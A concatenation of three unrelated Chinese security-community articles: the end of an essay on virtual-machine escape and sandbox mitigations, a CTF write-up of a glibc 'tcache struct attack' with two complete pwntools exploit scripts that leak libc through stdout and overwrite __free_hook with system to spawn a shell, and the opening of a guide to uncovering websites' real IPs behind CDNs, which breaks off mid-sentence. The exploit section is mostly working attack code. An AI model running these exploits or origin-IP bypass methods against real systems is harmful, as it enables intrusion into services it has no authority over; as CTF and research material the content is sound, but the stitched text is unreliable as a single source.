虚拟设备通常解决的是物理设备复用的问题，即如何将有限的硬件外设，例如网卡，抽象成多个网卡，来给不同的虚拟机使用。因此虚拟设备就应当有能力模拟出真实设备的完整功能，要能够为虚拟机提供所有真实设备本应支持的接口，并维护和记录自身状态。遇到需要真实硬件完成的功能时，再由虚拟设备进行传递和调用。
完整模拟硬件设备的功能并非易事，开发者需要遵循相关设备的功能说明书，以实现完整接口，供虚拟机使用。这些功能说明书动辄百页，代码实现复杂度较高。再加上虚拟设备种类繁多，出现编码问题的可能性就更大了。
在VMware多年的安全公告中，虚拟设备漏洞的整体数量占比超过了50%；在2016年的统计中，虚拟设备漏洞比例甚至达到了70%。多年来，Qemu项目中虚拟设备的漏洞数量达到了数百个，同时影响到了基于KVM和Xen的虚拟机。VirtualBox甚至公开警告用户谨慎使用一些虚拟设备，声称其中可能存在较大的安全风险。
所幸大量的研究人员已经将这一问题公开出来，一方面大量的虚拟设备漏洞得到发现和修复，另一方面也给虚拟化技术厂商和社区敲响了警钟。面对虚拟设备这一重灾区，未来是否有行之有效的解决方案？
# **虚拟机逃逸防护的未来**
安全的本质是攻防，这句话在几十年的内存漏洞攻防战中得到了完美体现。从1972年美国空军的研究报告中提出“栈溢出”这个概念开始，关于内存破坏类型漏洞的攻防博弈就一直没有停下脚步。攻击者会探索无数精妙的技巧，用千变万化的方式触发漏洞，绕过层层阻碍，实现精巧的内存布局，最终获得程序执行的控制权。而防护者则会思考一些通用方法，在假设漏洞存在的情况下，想尽一切办法阻挠攻击者利用漏洞实现程序控制。这种通用的防御方法我们称为“缓解措施（Mitigation）”。
“栈不可执行”的缓解措施掐断了跳转Shellcode的漏洞利用思路，而倒在了ROP利用技术面前。过去的几十年里，新的缓解措施在不断被提出和应用，增加了攻击者利用漏洞的难度，但是针对性地绕过这些缓解措施的技巧同样也在不断诞生。在这种攻防博弈的过程当中，漏洞利用的难度在不断变大，软件的安全性也得到了不断提升。相比于操作系统刚诞生的年代，如今的攻击者需要越过多重缓解措施的屏障，才能利用漏洞获得程序执行的自由。iOS是利用缓解措施来防止越狱的最佳典范，2018年年末苹果引入的PAC机制将防护级别又一次提升到了顶峰。
虚拟机逃逸同样也是内存破坏漏洞防护和利用的重要战场之一。当前主流的虚拟化技术方案，大多为了性能的考虑，尚未重视缓解措施的使用，例如地址随机性不够、存在可写可执行权限内存等问题依然可以在某些虚拟技术的实现中找到。来自微软的安全工程师Jordan
Rabet在2018年的BlackHat大会上也提出了多种利用缓解措施保护Hyper-V的思路。我们相信，在未来，缓解措施必能在虚拟机逃逸防护中发挥积极作用。
软件安全领域，另一种大获成功的防护思路是沙箱。如今，几乎每个浏览器都会启用沙箱机制，便是一个最好的佐证。在引入沙箱之前，任何一个能够控制浏览器执行代码的漏洞都可以一剑封喉，为所欲为——直接获取系统权限。而沙箱，就好比一个牢笼，将攻击者束缚在有限的一片天地，任凭攻击者在牢笼中肆虐，也无碍广阔天地的宁静祥和。本质来说，沙箱机制的基本思路是将被保护对象的权限降到最低，只给保护对象所需的最小权限集合。这种思路能够全面降低保护对象被攻陷后造成的风险，让攻击者即便成功利用了漏洞，能力也是受限的，不足以施展恶意行为。
在沙箱机制的使用上，VMware的ESXi产品走在了前列，VMware将运行虚拟设备的进程通过沙箱保护了起来。长亭科技安全研究实验室在GeekPwn中演示的虚拟机逃逸，额外使用了一个沙箱绕过的漏洞，才得以冲破牢笼，完成逃逸，可见沙箱机制的使用极大地增加了攻击者的难度。微软的Hyper-V目前也启用了沙箱技术保护Worker进程。总的来说，沙箱机制的引入，能够让防守层次化。攻击者只有突破了每一层，才能完成整个攻击；反过来说，任何一个层面缺乏突破手段，完整攻击就无法进行。
基于软件和硬件相结合的缓解措施，以及层层隔离的沙箱机制，或许是虚拟机逃逸防护的未来。 | 社区文章 |
# 前言
随着CTF的水平的不断提升，原来的一些常规堆题的技术手段已经不足以撑起比较高水平的比赛的质量了。最近发现一类罕见的攻击手段，我姑且把它叫做tache
struct attack，它区别于以往的tcache
attack题目的篡改tache的fd指针，实现任意地址读写，更多的是利用tache链表保存在heap上的特性，在heap地址、libc地址等偏移地址未知以及申请堆块数量有限制的情况下在tcache
attack技术上更进一步进行漏洞利用。相对于fastbin attack技术需要的利用条件更少，利用范围更广。本文只是对tcache struct
attack技术的初步探讨，更多细节欢迎各路大佬与我讨论。
# tcache struct attack
### 初始化
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
在程序需要进行动态分配时，如果是使用TCACHE机制的话，会先对tcache进行初始化。跟其他bins不一样的是，tcache是用_int_malloc函数进行分配内存空间的，因此tcache结构体是位于heap段，而不是main_arena。
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];//0x40
tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;
tcache的结构是由0x40字节数量数组（每个字节代表对应大小tcache的数量）和0x200(0x40*8)字节的指针数组组成（每8个字节代表相应tache_entry链表的头部指针）。因此整个tcache_perthread_struct结构体大小为0x240。
结合示例程序观察tcache结构：
//64位
int main()
{
char* p = malloc(0x10);
free(p);
p = malloc(0x20);
free(p);
return 0;
}
0x13db000: 0x0000000000000000 0x0000000000000251
0x13db010: 0x0000000000000101 0x0000000000000000
0x13db020: 0x0000000000000000 0x0000000000000000
0x13db030: 0x0000000000000000 0x0000000000000000
0x13db040: 0x0000000000000000 0x0000000000000000
0x13db050: 0x00000000013db260 0x00000000013db280
... : 0
0x13db250: 0x0000000000000000 0x0000000000000021
0x13db260: 0x0000000000000000 0x0000000000000000
0x13db270: 0x0000000000000000 0x0000000000000031
0x13db280: 0x0000000000000000 0x0000000000000000
0x13db290: 0x0000000000000000 0x0000000000000000
0x13db2a0: 0x0000000000000000 0x0000000000020d61
可以观察到从heap+0x10到heap+0x50每个字节都是counts，从heap+0x50到heap+0x250每8个字节都是tcache_entry指针。
### tcache free
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins
&& tcache->counts[tc_idx] < mp_.tcache_count)//<7
{
tcache_put (p, tc_idx);
return;
}
}
#endif
在将chunk放入tcahce的时候会检查`tcache->counts[tc_idx] <
mp_.tcache_count`（无符号比较），也就是表示在tacha_entry链表中的tache数量是否小于7个。但值得注意的是，tcache->counts[tc_idx]是放在堆上的，因此如果可以修改堆上数据，可以将其改为较大的数，这样就不会将chunk放入tache了。
### tcache malloc
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
而在tcache分配时，不会检查tcache->counts[tc_idx]的大小是否大于0，会造成下溢。
# 题目实例
以下题目只侧重分析tcache struct攻击部分
### RoarCTF realloc_magic
##### 漏洞点
int fr()
{
free(realloc_ptr);
return puts("Done");
}
程序中free指针没有清零造成double free漏洞，利用realloc函数分配，没有输出函数，开启全保护。
##### 利用思路
利用double free漏洞修改fd的低2个字节指向heap开头，也就是tcache
struct的位置。修改tcache->counts为很大的数，绕过检查。free掉unsortedbin，在tcache_entry上踩下main_arena地址，再部分覆盖攻击stdout泄露libc，最后用相同方法劫持free_hook。
##### Step1
rea(0x68)
free()
rea(0x18)
rea(0)
rea(0x48)
free()
rea(0)
利用悬空指针未清零形成double free。
heap = 0x7010
stdout= 0x2760
#dbg()
#ipy()
rea(0x68, 'a' * 0x18 + p64(0x201) + p16(heap))#size + fd
爆破部分覆盖tcache的fd指针低2个字节，使其指向tcache struct。同时修改size以便后面获得unsortedbin。
这一步因为需要爆破4位，成功概率为1/16。调试的时候，建议可以使用IPython库，方便实时调整变量的数据。
##### Step2
rea(0)
rea(0x48)
rea(0)
rea(0x48, '\xff' * 0x40)
分配两次获得tache struct的指针，修改tcache->counts为0xff，使得后面free的chunk都不会进入tache中。
pwndbg> bin
tcachebins
0x20 [ -1]: 0x561fd9868260
0x30 [ -1]: 0
0x40 [ -1]: 0
0x50 [ -1]: 0x1000002
0x60 [ -1]: 0
...
0x1f0 [ -1]: 0
0x200 [ -1]: 0x561fd9868280
可以发现每个tcache对应的数量都变为-1，也就是0xff，由于检查是是无符号比较大小，所以-1>7，可以绕过检查。
rea(0x58, 'a' * 0x18 + '\x00' * 0x20 + p64(0x1f1) + p16(heap + 0x40))#change tcache fake chunk
由于realloc的特性，会将原来的指针(size=0x201)先释放，然后在从中分割出0x60大小的chunk，因此就可以在tcache_entry上留下main_arena地址。
##### Step3
rea(0)
rea(0x18, p64(0) + p64(0))#chunk overlap
rea(0)
#stdout
rea(0x1e8,p64(0) * 4 + p16(stdout))#tcache attack
rea(0)
rea(0x58, p64(0xfbad1800) + p64(0) * 3 +p8(0xc8))
lb = uu64(ru('\x7f',drop=False)[-6:])-libc.symbols['_IO_2_1_stdin_']
success('libc_base: ' + hex(lb))
此时将0x...50处的chunk的内容可以控制，这样就能部分覆盖掉位于0x..70处的main_arena的数据，修改tache_entry，就能实现任意地址写。这里选择攻击stdout来泄露libc，这里也需要爆破4位，因此总的成功概率为1/256。
##### Step4
最后用同样的方法修改相应大小的tache_entry指针，劫持free_hook来getshell。
sla('>> ',666)#ptr=0
rea(0x1e8, 'a' * 0x18 + p64(lb + libc.sym['__free_hook'] - 8))
rea(0)
rea(0x48, '/bin/sh\x00' + p64(lb + libc.sym['system']))
free()
irt()
##### exp
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
#context.terminal = ['tmux', 'splitw', '-h']
#
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './realloc_magic'
ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'#remote libc
ctx.remote_libc = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
ctx.debug_remote_libc = True
libc = ELF('/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
rs()
ctx.breakpoints = [0xbcd]
ctx.symbols = {'lst':0x202058,}
logg=0
if logg:
context.log_level = 'debug'
def rea(sz, c='\n'):
sla('>> ',1)
sla('?', sz)
if sz:
sa('?', c)
def free():
sla('>> ',2)
#double free
rea(0x68)
free()
rea(0x18)
rea(0)
rea(0x48)
free()
rea(0)
heap = 0x7010
stdout= 0x2760
dbg()
ipy()
rea(0x68, 'a' * 0x18 + p64(0x201) + p16(heap))#size + fd
rea(0)
rea(0x48)
rea(0)
rea(0x48, '\xff' * 0x40)
rea(0x58, 'a' * 0x18 + '\x00' * 0x20 + p64(0x1f1) + p16(heap + 0x40))#change tcache fake chunk
rea(0)
rea(0x18, p64(0) + p64(0))#chunk overlap
rea(0)
#stdout
rea(0x1e8,p64(0) * 4 + p16(stdout))#tcache attack
rea(0)
rea(0x58, p64(0xfbad1800) + p64(0) * 3 +p8(0xc8))
lb = uu64(ru('\x7f',drop=False)[-6:])-libc.symbols['_IO_2_1_stdin_']
success('libc_addr: ' + hex(lb))
sla('>> ',666)#ptr=0
rea(0x1e8, 'a' * 0x18 + p64(lb + libc.sym['__free_hook'] - 8))
rea(0,)
rea(0x48, '/bin/sh\x00' + p64(lb + libc.sym['system']))
free()
irt()
### N1CTF warmup
##### 漏洞点
printf("index:");
v1 = sub_B4E();
if ( v1 >= 0 && v1 <= 9 )
{
if ( qword_202080[v1] )
ptr = (void *)qword_202080[v1];
if ( ptr )
{
free(ptr);//double free
qword_202080[v1] = 0LL;
puts("done!");
}
程序中free指针同样是没有清零造成double free漏洞，没有输出函数，固定malloc的大小为0x40，开启全保护。
##### 利用思路
##### Step1
add('0')
add('2')
delete(0)
delete(0)
tcache = 0x6010#tcache_entry
stdout = 0x6760
dbg()
ipy()
add(p16(tcache))#tcache attack
add('0')
add('\xff'*0x40)#tcache_count 0x6010
先利用double free漏洞部分覆盖fd指针为tcache结构体，将tcache->counts写成0xff使得chunk不会释放进tcache。
##### Step2
delete(3)#get unsortedbin
add('\x01'*0x40)#recover tcache_count
delete(0)
edit(2,p16(stdout))#stdout attack
由于程序限制了malloc出来的chunk大小为0x40，而利用tcache struct attack可以获得tache
struct结构体指针，从而将这块chunk free掉就可以绕过限制，在tcahce struct上踩出main_arena地址。
将大小为0x50对应的tcache_entry踩出main_arena地址，才能在malloc(0x40)时部分覆盖低2字节攻击stdout。
##### Step3
add('0')
add(p64(0xfbad1800)+p64(0)*3+'\xc8')
lb = uu64(r(6))-0x3eba00#stdin
success('libc_base = {}'.format(hex(lb)))
fh = lb + libc.sym['__free_hook']
sys = lb + libc.sym['system']
delete(2)
edit(0,p64(fh))
add('/bin/sh\x00')
add(p64(sys))
delete(2)
irt()
攻击stdout泄露libc后，改写tcache struct中的tcache_entry为free_hook，实现任意地址写。
因为需要爆破heap和stdout两次，所以成功概率为1/256。
##### exp
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
#context.log_level = 'debug'
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './warmup'
#ctx.custom_lib_dir = '/home/leo/Downloads/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/'
#ctx.debug_remote_libc = True # True for debugging remote libc, false for local.
ctx.symbols={'ptr':0x202060,'lst':0x202080}
ctx.breakpoints=[0xf34]
rs()
libc = ctx.libc # ELF object of the corresponding libc.
def add(c):#10 0x40
sla('>>',1)
sa('content>>',c)
def delete(idx):#double free
sla('>>',2)
sla('index:',idx)
def edit(idx,c):#set ptr
sla('>>',3)
sla('index:',idx)
sa('content>>',c)
add('0')
add('2')
delete(0)
delete(0)
tcache = 0x6010#tcache_entry
stdout = 0x6760
dbg()
ipy()
add(p16(tcache))#tcache attack
add('0')
add('\xff'*0x40)#tcache_count 0x6010
delete(3)#get unsortedbin
add('\x01'*0x40)#recover tcache_count
delete(0)
edit(2,p16(stdout))#stdout attack
add('0')
add(p64(0xfbad1800)+p64(0)*3+'\xc8')
lb = uu64(r(6))-0x3eba00#stdin
success('libc_base = {}'.format(hex(lb)))
fh = lb + libc.sym['__free_hook']
sys = lb + libc.sym['system']
delete(2)
edit(0,p64(fh))
add('/bin/sh\x00')
add(p64(sys))
delete(2)
irt()
# 总结
tcache struct attack方法比较适用于没有输出函数，不知道bss地址、libc地址和heap地址等偏移地址，利用chunk
overlap或UAF等堆漏洞，可以部分篡改tcache的fd，通过tcache attack技术分配到tcache
struct，篡改tcache->counts数组和tcache->entry指针数组，达到main_arena上的任意地址写。
虽然需要的利用条件减少了，但这种方法的缺点是需要爆破，远程攻击所需要的时间长。 | 社区文章 |
# CDN 2021 完全攻击指南 （一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 这是一篇全网（无论国内还是国外）最全、最详细、最新、最实用的关于 CDN 网络对抗攻击的文章，渗透测试中若碰到 CDN
> 类的问题，只需要看这一篇指南即可。我也会在 Github （https://github.com/bin-> maker/2021CDN/）长期保持此文的更新，更新与修正新的对抗技术、工具和网站。
>
> Content Delivery Network，中文全称为内容分发网络，简称为 CDN 。
>
> 使用 CDN 技术可以有效的提高网站的访问速度和安全性，因此目前互联网上，超过 50％ 的 Alexa 前 1000 网站和超过 35％ 的 Alexa
> 前 10000 的网站都部署在 CDN 网络后面，所有请求网站内容的用户都将从最近的 CDN
> 代理服务器获取其缓存版本，因此内容加载速度更快，网站的性能得到改善。
>
> 具体 CDN 的相关原理网上都有阐述，有兴趣的读者可以去自行了解，本篇指南旨在攻击，追求简洁、高效、实用，就不再多赘述一些概念性相关的东西。
* * *
## 0x01 常见 CDN 服务商
### 一、国内 CDN 服务商
* 阿里云 CDN
* 百度云 CDN
* 七牛云 CDN
* 又拍云 CDN
* 腾讯云 CDN
* Ucloud
* 360 CDN
* 网宿科技
* ChinaCache
* 帝联科技
### 二、国外 CDN 服务商
* CloudFlare
* StackPath
* Fastly
* Akamai
* CloudFront
* Edgecast
* CDNetworks
* Google Cloud CDN
* CacheFly
* Keycdn
* Udomain
* CDN77
## 0x02 判断网站是否使用了CDN
* 反查域名 IP，看结果是否有大量不相关的域名存在
* 观察请求响应的返回数据的头部，是否有 CDN 服务商标识
* 使用超级 ping，通过不同定位地点的 ping 测试，看返回的 IP 是否不同
* 判断 IP 是否在常见 CDN 服务商的服务器 IP 段上
* 若 asp 或者 asp.net 网站返回头的 server 不是 IIS、而是 Nginx，则多半使用了nginx反向代理到 CDN
* 利用 Nslookup 查询域名，看是否返回多个应答 IP
## 0x03 如何绕过 CDN 朔源网站真实 IP
### 一、通过查询 DNS 记录 / IP 历史记录 / 子域名 等数据记录
* 很多网站只给关键的域名或者主域名做了 CDN，其下很多子域名没有使用 CDN 服务，所以我们可以通过查询目标网站的根域名、二级域名、三级域名甚至多级子域名来获得真实IP。不过有时候查出来的并不是真实 IP，可能仅仅做了 A 记录 ，这种情况下可以继续扫描同 C 段的 IP 和端口，然后逐个探测是否为目标网站。
* 在网站使用 CDN 服务之前，解析的是真实IP，所以可以查询 DNS 历史记录，看是否能探测到使用 CDN 之前的 IP 。
* DNS 解析记录中重点关注 TXT 记录和 SPF 记录，是否有泄露真实IP。
**1、在线查询平台**
1.SecurityTrails
（[https://securitytrails.com/）](https://securitytrails.com/%EF%BC%89)
SecurityTrails（前身为 DNS
Trails）拥有大约3.5万亿DNS记录，3亿whois记录，8亿SSL证书记录以及超过4.5亿子域的记录数据。自2008年以来，网站每天都收集和更新海量数据。
SecurityTrails 是我最常用的平台之一，免费、精准，数据量极其庞大，足够支撑日常。
DNS 记录：
IP历史：
子域名：
2.Complete DNS（[https://completedns.com/）](https://completedns.com/%EF%BC%89)
Complete DNS 拥有超过 22 亿个DNS变更记录，提供API，支持同时进行多域名/IP查询。
3.WhoISrequest
（[https://whoisrequest.com/）](https://whoisrequest.com/%EF%BC%89)
WhoISrequest 这个网站自2002年以来一直在跟踪和记录DNS历史变更，数据底蕴很足。
这种时间线设计的UI风格很不戳，点赞。
4.Whoxy（[https://www.whoxy.com/）](https://www.whoxy.com/%EF%BC%89)
Whoxy 拥有爬取超过 3.65亿个子域数据，该网站 API 调用非常方便，以 XML 和 JSON 格式返回数据。
5.微步Threatbook（[https://x.threatbook.cn/）](https://x.threatbook.cn/%EF%BC%89)
Threatbook 微步在线针对 IP、域名 进行综合查询威胁情报、历史记录、子域名解析、DNS解析等等信息，支持 API 查询，非常方便。
6.Netcraft（[https://netcraft.com/）](https://netcraft.com/%EF%BC%89)
Netcraft 不用多说了吧，很多人都知道，不过仁者见仁智者见智吧，经过时代的变迁，Netcraft 也不是曾经的那个少年了，这里只是提一下，仅供参考。
7.Viewdns（[https://viewdns.info/）](https://viewdns.info/%EF%BC%89)
Viewdns
可以说是非常的简洁直观了，就算你不懂任何英文，我相信你也看的懂，至少你知道在哪里输入对吧。响应速度也是非常快了，首页一目了然，集成了超多的查询功能。
找你需要的功能查询就好，用网站提供的 API 也可以
8.Whoisxmlapi（[https://reverse-ip.whoisxmlapi.com/）](https://reverse-ip.whoisxmlapi.com/%EF%BC%89)
Whoisxmlapi 数据库包含了超过1.4亿多个域名生态数据，用来反查 IP 和 DNS 数据，在绕过 CDN 时候做反向对比非常有用。网站和
whoxy 一样，也是以 XML 和 JSON 格式返回数据，支持自定义。
9.Dnsdb（[https://dnsdb.io/）](https://dnsdb.io/%EF%BC%89)
Dnsdb 功能非常强大，老平台了，也是我常用平台之一。
搜索前可以先简单学习一下搜索语法：
觉得难？不想学？那也没关系，站长已经考虑到你这种懒人情况了，首页就有给懒人准备的搜索构造器，十分友好：
10.SubDomainTools（[https://ruo.me/sub）](https://ruo.me/sub%EF%BC%89)
在线子域名查询，支持实时模式和后台模式，不阻塞前端线程，不占CPU，小测试的时候非常方便。
**2、IOT 物联网络空间测绘搜索引擎**
1.Censys（[https://censys.io/）](https://censys.io/%EF%BC%89)
Censys 可帮助安全从业人员发现可从Internet访问的设备，包括 IP 地址、开放端口、物理定位、域名信息、托管服务商、SSL 证书
等等数据，从中发现需要的信息追踪到网站真实的 IP 地址。
2.FOFA（[https://fofa.so/）](https://fofa.so/%EF%BC%89)
FOFA 可以迅速进行网站资产匹配，加快后续工作进程，如漏洞影响范围分析，应用分布统计，应用流行度排名统计等。FOFA
非常友好，即使免费，也可以查询足够多的数据量，只要你不是商用或者大需求用户，是不需要开会员的。
3.Shodan（[https://www.shodan.io/）](https://www.shodan.io/%EF%BC%89)
Shodan 被称为互联网上最强大的搜索引擎，主要是用来搜索网络空间中在线设备的，可以通过 Shodan
搜索指定的设备，或者搜索特定类型的设备，它可以帮助安全研究人员找到有关他们所研究目标的有用信息。
语法特别强大，建议搜索前好好浏览一下筛选器文档，可以达到事半功倍的效果。
4.Zoomeye
Zoomeye，钟馗之眼，知道创宇打造的宇宙级网络空间搜索引擎，Shodan 侧重于主机设备，Zoomeye 则偏向于 Web 发现。
**3、工具和脚本**
1.SubDomainsBrute
项目地址：<https://github.com/lijiejie/subDomainsBrute>
SubDomainsBrute 是通过纯 DNS 爆破来寻找子域名，为了最大提升脚本效率，采用协程+多进程的方式进行爆破。Python 3.5 以上需要安装
aiodns 库进行异步查询，python 2 需要安装 dnspython 库和 gevent 协程库。
之前是不支持扫描泛解析域名的，10月份作者更新已经支持泛解析，使用 -w 参数。
如图，我们针对一个泛解析的域名进行爆破，subDomainsBrute 会提示 any-sub 错误，之后使用 -w 参数开启泛解析强制爆破：
2.ESD
项目地址：<https://github.com/FeeiCN/ESD>
相比于的暴力收集手段，ESD 在很多方面有独特的想法。
* 基于RSC（响应相似度对比）技术对泛解析域名进行枚举。
* 基于aioHTTP获取一个不存在子域名的响应内容，并将其和字典子域名响应进行相似度比对，超过阈值则说明是同个页面，否则为可用子域名，并对最终子域名再次进行响应相似度对比。
* 基于AsyncIO异步协程技术对域名进行枚举。
* 基于AsyncIO+aioDNS将比传统多进程/多线程/gevent模式快50%以上。
* 解决各家DNS服务商对于网络线路出口判定不一致问题。
* 解决各家DNS服务商缓存时间不一致问题。
* 解决随机DNS问题。
* 根据网络情况自动剔除无效DNS，提高枚举成功率。
ESD
通过使用文本相似度，判断阈值的方法来过滤泛解析，这种方法现在看来很笨重，我们可以自己修改脚本，否则因此会导致机器的内存、CPU都负荷，对机器性能要求比较高，且不支持
python2。
python3 环境下通过 pip 直接安装：
$ pip install esd
基本用法（项目官方给出）:
# 扫描单个域名
esd -d qq.com
# debug模式扫描单个域名
esd=debug esd -d qq.com
# 扫描多个域名（英文逗号分隔）
esd --domain qq.com,tencent.com
# 扫描单个域名且过滤子域名中单个特定响应内容
esd --domain mogujie.com --filter 搜本店
# 扫描单个域名且过滤子域名中多个特定响应内容
esd --domain mogujie.com --filter 搜本店,收藏店铺
# 扫描文件（文件中每行一个域名）
esd --file targets.txt
# 跳过相似度对比（开启这个选项会把所有泛解析的域名都过滤掉）
esd --domain qq.com --skip-rsc
# 使用搜索引擎进行子域名搜索（支持baidu、google、bing、yahoo，使用英文逗号分隔）
esd --domain qq.com --engines baidu,google,bing,yahoo
# 平均分割字典，加快爆破
esd --domain qq.com --split 1/4
# 使用DNS域传送漏洞获取子域名
esd --domain qq.com --dns-transfer
# 使用HTTPS证书透明度获取子域名
esd --domain qq.com --ca-info
但是实际上我们从源码出发，发现很多功能作者目前并未实现：
parser = OptionParser('Usage: python ESD.py -d feei.cn -F response_filter -e baidu,google,bing,yahoo -p user:pass@host:port')
parser.add_option('-d', '--domain', dest='domains', help='The domains that you want to enumerate')
parser.add_option('-f', '--file', dest='input', help='Import domains from this file')
parser.add_option('-F', '--filter', dest='filter', help='Response filter')
parser.add_option('-s', '--skip-rsc', dest='skiprsc', help='Skip response similary compare', action='store_true', default=False)
parser.add_option('-S', '--split', dest='split', help='Split the dict into several parts', default='1/1')
parser.add_option('-p', '--proxy', dest='proxy', help='Use socks5 proxy to access Google and Yahoo')
parser.add_option('-m', '--multi-resolve', dest='multiresolve', help='Use TXT, AAAA, MX, SOA record to find subdomains', action='store_true', default=False)
parser.add_option('--skey', '--shodan-key', dest='shodankey', help='Define the api of shodan')
parser.add_option('--fkey', '--fofa-key', dest='fofakey', help='Define the key of fofa')
parser.add_option('--femail', '--fofa-email', dest='fofaemail', help='The email of your fofa account')
parser.add_option('--zusername', '--zoomeye-username', dest='zoomeyeusername', help='The username of your zoomeye account')
parser.add_option('--zpassword', '--zoomeye-password', dest='zoomeyepassword', help='The password of your zoomeye account')
parser.add_option('--cuid', '--censys-uid', dest='censysuid', help="The uid of your censys account")
parser.add_option('--csecret', '--censys-secret', dest='censyssecret', help='The secret of your censys account')
(options, args) = parser.parse_args()
不难发现 `通过 HTTPS 证书透明度`、`域传送漏洞` 等功能均未实现。
ESD 目前仅支持 Linux 系统，这是其源码决定的，不过我们可以 DIY 让它支持 windows
可以看到，engine.py 引擎脚本中，写死了目录是 `/tmp/esd` ，如果要在 windows 上使用，我们只需要替换这里为 windows
的输出目录即可。
# write output
tmp_dir = 'C:\\temp\\'
if not os.path.isdir(tmp_dir):
os.mkdir(tmp_dir, 0o777)
output_path_with_time = '{td}/.{domain}_{time}.esd'.format(td=tmp_dir, domain=self.domain, time=datetime.datetime.now().strftime("%Y-%m_%d_%H-%M"))
output_path = '{td}/.{domain}.esd'.format(td=tmp_dir, domain=self.domain)
if len(self.data):
max_domain_len = max(map(len, self.data)) + 2
else:
max_domain_len = 2
output_format = '%-{0}s%-s\n'.format(max_domain_len)
with open(output_path_with_time, 'w') as opt, open(output_path, 'w') as op:
for domain, ips in self.data.items():
# The format is consistent with other scanners to ensure that they are
# invoked at the same time without increasing the cost of
# resolution
if ips is None or len(ips) == 0:
ips_split = ''
else:
ips_split = ','.join(ips)
con = output_format % (domain, ips_split)
op.write(con)
opt.write(con)
3.Layer 子域名挖掘机
项目地址：<https://hub.fastgit.org/euphrat1ca/LayerDomainFinder/releases/tag/3>
Seay 法师的作品，很早就有了，非常强大的一款 windows 上的 GUI
图形化工具，经历了数个版本的迭代，官方最新版是5.0，当然还有不计其数的网友自定义修改版本在野流传。
4.Xray
项目地址：<https://github.com/chaitin/xray>
xray 是一款强大的安全评估工具，一款自动化扫描器，我们可以用其自带的 subdomain 子域名发掘功能来针对性探测：
subdomain 功能支持暴力破解模式和非暴力模式，可以只探测 web 服务或者只探测 ip 可解析的子域，另外支持 webhook
数据传递，作为插件端或者分发消息的接收端来使用都非常方便快捷。
5.Bypass-firewalls-by-DNS-history
项目地址：<https://github.com/vincentcox/bypass-firewalls-by-DNS-history>
Bypass-firewalls-by-DNS-history 是一款集成全自动化的探测工具，通过探测 DNS 历史记录，搜索旧的 DNS A
Record，收集子域，并检查服务器是否对该域名进行答复。 另外它还基于源服务器和防火墙在HTML响应中的相似性阈值来判断。
用法：
bash bypass-firewalls-by-DNS-history.sh -d example.com
-d --domain: domain to bypass
-o --outputfile: output file with IP's
-l --listsubdomains: list with subdomains for extra coverage
-a --checkall: Check all subdomains for a WAF bypass
此外，类似的还有 `subfinder` 、`dnsprobe` 等等工具，有兴趣的读者可以自行去研究了解其工作原理和机制。
### 二、通过 Email 邮局
一般大型网站自己部署架设的邮件服务器如果向外部用户发送邮件的话，如果中间未经任何数据处理和防护措施，那么邮件头部的源码中会包含此邮件服务器的真实 IP
地址。常见的邮件触发点有：
* RSS 订阅
* 邮箱注册、激活处
* 邮箱找回密码处
* 产品更新的邮件推送
* 某业务执行后发送的邮件通知
* 员工邮箱、邮件管理平台等入口处的忘记密码
另外这里还有一个`奇淫技巧`，通过发送邮件给一个不存在的邮箱地址，比如
[[email protected]](mailto:[email protected])
